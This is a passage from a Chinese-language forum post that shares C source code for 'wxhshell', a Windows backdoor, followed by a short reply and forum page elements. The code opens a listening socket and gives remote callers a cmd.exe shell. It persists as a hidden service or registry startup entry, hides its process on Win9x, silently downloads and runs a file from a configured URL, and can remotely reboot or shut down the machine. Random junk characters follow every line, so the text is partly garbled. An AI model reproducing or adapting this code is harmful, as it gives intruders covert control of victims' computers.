  if(DownloadFile(cmd,wsh)) :Hk_8J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %x2 uP9  
  else XA)'=L!^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o)&"Rf  
  } =A@>I0(7  
  else { ~U$":~H[  
{~N3D4n^  
    switch(cmd[0]) { N}b^fTq  
  XWUP=D~  
  // 帮助 /[ K_ &  
  case '?': { XA<ozq'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NvJV</l6 A  
    break; eY,O@'"8`  
  } +-BwQ{92[:  
  // 安装 S2K#[mDG  
  case 'i': { E!J=8C.:  
    if(Install()) Nxk(mec"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[1>(l}Ss  
    else gCuAF$o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  $dQIs:  
    break; ObG=>WPJa  
    } 5u$D/* Eb  
  // 卸载 ])w[   
  case 'r': { Pbn!KX~F~  
    if(Uninstall()) 0[T,O,y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _=EKXE)&}  
    else [AS}RV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?9mkRd}c  
    break; h Dk)Qg  
    } C <B<o[:H  
  // 显示 wxhshell 所在路径 v^N`IJq  
  case 'p': { sOBu7!G%  
    char svExeFile[MAX_PATH]; CMW,slC_3  
    strcpy(svExeFile,"\n\r"); " 6CMA 0R  
      strcat(svExeFile,ExeFile); uw AwWgl  
        send(wsh,svExeFile,strlen(svExeFile),0); <a( }kk}  
    break; H8{ol6wc)6  
    } iW%8/$  
  // 重启 2;2}wM[  
  case 'b': { #Sh <Ih  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N&,]^>^u  
    if(Boot(REBOOT)) "V& I^YSc>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @7oL#-  
    else {  :A1:  
    closesocket(wsh); j%IF2p2  
    ExitThread(0); T,%j\0  
    } c>:R3^\lwx  
    break; LR(-<"  
    } . pzC5Ah  
  // 关机 T>`74B:  
  case 'd': { Wb}c=hZv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3qL>-%):*  
    if(Boot(SHUTDOWN)) ~;]W T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=|hC3h  
    else { v'!a\b`9  
    closesocket(wsh); v\tEVhm  
    ExitThread(0); A/7{oB:a  
    } **3 z;58i  
    break; 2-N 'ya  
    } $D'- k]E[H  
  // 获取shell @Fp_^5  
  case 's': { \%]I{  
    CmdShell(wsh); $5D,sEC@  
    closesocket(wsh); VHJM*&5  
    ExitThread(0); ?L&'- e@  
    break; )G^ KDj"  
  } hCjR&ZA  
  // 退出 {!t7[Ctb  
  case 'x': { i0$Bx>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U4aU}1RKz  
    CloseIt(wsh); ia\eLzj  
    break; /+Lfrt  
    } 3b'QLfU&#  
  // 离开 ~T&<CTh  
  case 'q': { if|+EN%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %LVm3e9  
    closesocket(wsh); MjlP+; !  
    WSACleanup(); V=:'SL*3|  
    exit(1); X/iT)R]b  
    break; h$4Hw+Yxs]  
        } I)A`)5="5  
  } At7>V-f}  
  } <B9C*M"4%  
}:X*7 n(&  
  // 提示信息 Vn*tp bz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yKYTi3_(  
} `c<;DhNO  
  } yE}}c{hSn  
=c/wplv*  
  return; 'nXl>  
} C:PMewn  
cSXwYZDx?  
// shell模块句柄 %Ev4]}2C1  
int CmdShell(SOCKET sock) ZosP(Tdq  
{ bbrXgQ`s+w  
STARTUPINFO si; a)wJT`xu  
ZeroMemory(&si,sizeof(si)); {q"OM*L(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i_j[?.?X}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 28 ?\  
PROCESS_INFORMATION ProcessInfo; O^oWG&Y;v  
char cmdline[]="cmd"; _lamn }(x0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :]\([Q+a  
  return 0; a!=D[Gz*5  
} <1uZa  
,P;Pm68V  
// 自身启动模式 \O2Rhz  
int StartFromService(void) *MKO I'  
{ `{dm;j5/y  
typedef struct vX/T3WV  
{ OX\A|$GS  
  DWORD ExitStatus; uG,5BV.M  
  DWORD PebBaseAddress; @7IIM{  
  DWORD AffinityMask; RW<D<5C  
  DWORD BasePriority; E=nIRG|g  
  ULONG UniqueProcessId; <g$~1fa  
  ULONG InheritedFromUniqueProcessId; D]zwl@sRX:  
}   PROCESS_BASIC_INFORMATION; ynthDE o  
=vX/{C  
PROCNTQSIP NtQueryInformationProcess; i<#QW'R(  
'Gj3:-xqL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :tV*7S=)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =l+yA>t|  
yDzc<p\`  
  HANDLE             hProcess; `sn^ysp  
  PROCESS_BASIC_INFORMATION pbi; ;ub;l h3  
F1*>y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *\ R ]NV  
  if(NULL == hInst ) return 0; c2l@6<Ww  
H?yK~bGQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GS$ifv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rC5 p-B%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "~sW"n(F_  
>qnko9V  
  if (!NtQueryInformationProcess) return 0; | )K8N<n  
~vm%6CABM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); */`ki;\A  
  if(!hProcess) return 0; 9X}10u:  
marQNZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'DP1,7  
.*OdqLz  
  CloseHandle(hProcess); M?1Y,5  
3l rT3a3vV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mE+*)gb:Rd  
if(hProcess==NULL) return 0; , qMzWa  
slCx w$  
HMODULE hMod; %~4M+r6T  
char procName[255]; 3dg1DR;  
unsigned long cbNeeded; UXJ eAE-  
Yl Zso2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); - YEZ]:"  
G/)O@Ugp  
  CloseHandle(hProcess); o_izl \  
1+_`^|eK  
if(strstr(procName,"services")) return 1; // 以服务启动 KLST\ Ln:  
LBw1g<&  
  return 0; // 注册表启动 cN/6SGHK  
} Wf+cDpK  
[_BP)e  
// 主模块 G30-^Tr   
int StartWxhshell(LPSTR lpCmdLine) qU \w=  
{ zVViLUwG  
  SOCKET wsl; is?{MJZ_  
BOOL val=TRUE; (~p< P+  
  int port=0; {:/#Nc$5  
  struct sockaddr_in door; j`{?OYD  
$o+j El>  
  if(wscfg.ws_autoins) Install(); E^ B'4  
x+\`gK5  
port=atoi(lpCmdLine); ?tWaI{95I  
9)l$ aBa  
if(port<=0) port=wscfg.ws_port; )HEa<P^kJl  
#]\Uk,mhZB  
  WSADATA data; NDN7[7E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1.}d.t  
iDpSj!x/_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `aOFs+<)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KYB`D.O   
  door.sin_family = AF_INET; [*Z;\5&P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *I B4[6  
  door.sin_port = htons(port); =O~_Q-  
em y[k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bTI|F]^!  
closesocket(wsl); ?e%ZOI  
return 1; dn& s*  
}  {y)=eX9  
 CT&|QH{  
  if(listen(wsl,2) == INVALID_SOCKET) { 5tl< 3g `  
closesocket(wsl); ` ./$&'  
return 1; 4j-Xi  
} x[cL Bc<  
  Wxhshell(wsl); n'"/KS+_  
  WSACleanup(); zrvF]|1UP  
AzPu)  
return 0; QFA8N  
T~-ycVc  
} ,<.V7(|t)  
_5w]a 2  
// 以NT服务方式启动 +5)nk}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xw.A #Zb\_  
{ (O\ )_#-D  
DWORD   status = 0; 1 s\Wtw:  
  DWORD   specificError = 0xfffffff; zOJ%}  
A@`}c,G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L7l FtX+b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kj Jn2c:y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }H53~@WP>  
  serviceStatus.dwWin32ExitCode     = 0; oe^I  
  serviceStatus.dwServiceSpecificExitCode = 0; %mW{n8W3{  
  serviceStatus.dwCheckPoint       = 0; 59LG{R2  
  serviceStatus.dwWaitHint       = 0; 8C40%q..  
hWjc<9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  -uS!\  
  if (hServiceStatusHandle==0) return; EAUEQk?9  
YqscZ(L:y  
status = GetLastError(); `Gs9Xmc|  
  if (status!=NO_ERROR) ?4YGT  
{ 5=-Q4d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yNPVOp*  
    serviceStatus.dwCheckPoint       = 0; _O?`@g?i  
    serviceStatus.dwWaitHint       = 0; e1yt9@k,  
    serviceStatus.dwWin32ExitCode     = status; 0S"mVZ*P  
    serviceStatus.dwServiceSpecificExitCode = specificError; hDDn,uzpd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I^.Om])  
    return; KM, \  
  } }PlRx6r@  
jRa43ck  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~g91Pr   
  serviceStatus.dwCheckPoint       = 0; XPc^Tq  
  serviceStatus.dwWaitHint       = 0; Lj({[H7D!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PI {bmZ  
} RU|Q ]Ymx  
./Xz}<($8  
// 处理NT服务事件,比如:启动、停止 ROI7eU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ijv(9mR  
{ xo^b&ktQd  
switch(fdwControl) 2DA]i5  
{ RH W]Z Pr<  
case SERVICE_CONTROL_STOP: AI2)g1m  
  serviceStatus.dwWin32ExitCode = 0; <sbu;dQ`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )$2QZ qX  
  serviceStatus.dwCheckPoint   = 0; hgG9m[?K  
  serviceStatus.dwWaitHint     = 0; =IZT(8  
  { ScOK)nL"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z(ONv#}p  
  } !)f\%lb  
  return; aqZi:icFa  
case SERVICE_CONTROL_PAUSE: yZY\MB/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qz_7%c]K[  
  break; LBeF&sb6  
case SERVICE_CONTROL_CONTINUE: kt#fMd$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u[;\y|75  
  break; Q-okt RK  
case SERVICE_CONTROL_INTERROGATE: xK[ou'  
  break; Oi.C(@^(  
}; tAd%#:K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,L2ZinU:  
} P8:dU(nlW  
$S6`}3  
// 标准应用程序主函数 s[>,X#7 y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XT%nbh&y  
{ P;.W+WN  
<dWv?<o  
// 获取操作系统版本  tU5zF.%  
OsIsNt=GetOsVer(); 'ZF{R3Xu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4i;{!sT  
0],r0  
  // 从命令行安装 NG=-NxEcN  
  if(strpbrk(lpCmdLine,"iI")) Install(); :`#d:.@]o@  
QO:!p5^:  
  // 下载执行文件 /{J4:N'B>  
if(wscfg.ws_downexe) { d'gfQlDny  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F~vuM$+d  
  WinExec(wscfg.ws_filenam,SW_HIDE); NN{?z!  
} yPBZc h%-  
L[fiU0^o  
if(!OsIsNt) { `g?Negt\v  
// 如果时win9x,隐藏进程并且设置为注册表启动 W+c<2?d:  
HideProc(); x j)F55e?  
StartWxhshell(lpCmdLine); HyQJXw?A:  
} O/(`S<iip  
else }"H,h)T  
  if(StartFromService()) R%WCH?B<}  
  // 以服务方式启动 yxQ1`'[CR  
  StartServiceCtrlDispatcher(DispatchTable); cl3K<'D  
else a.\:T,cP>  
  // 普通方式启动 3ZPWze6  
  StartWxhshell(lpCmdLine); jRlYU`?  
Ml{,  
return 0; p`dU2gV  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五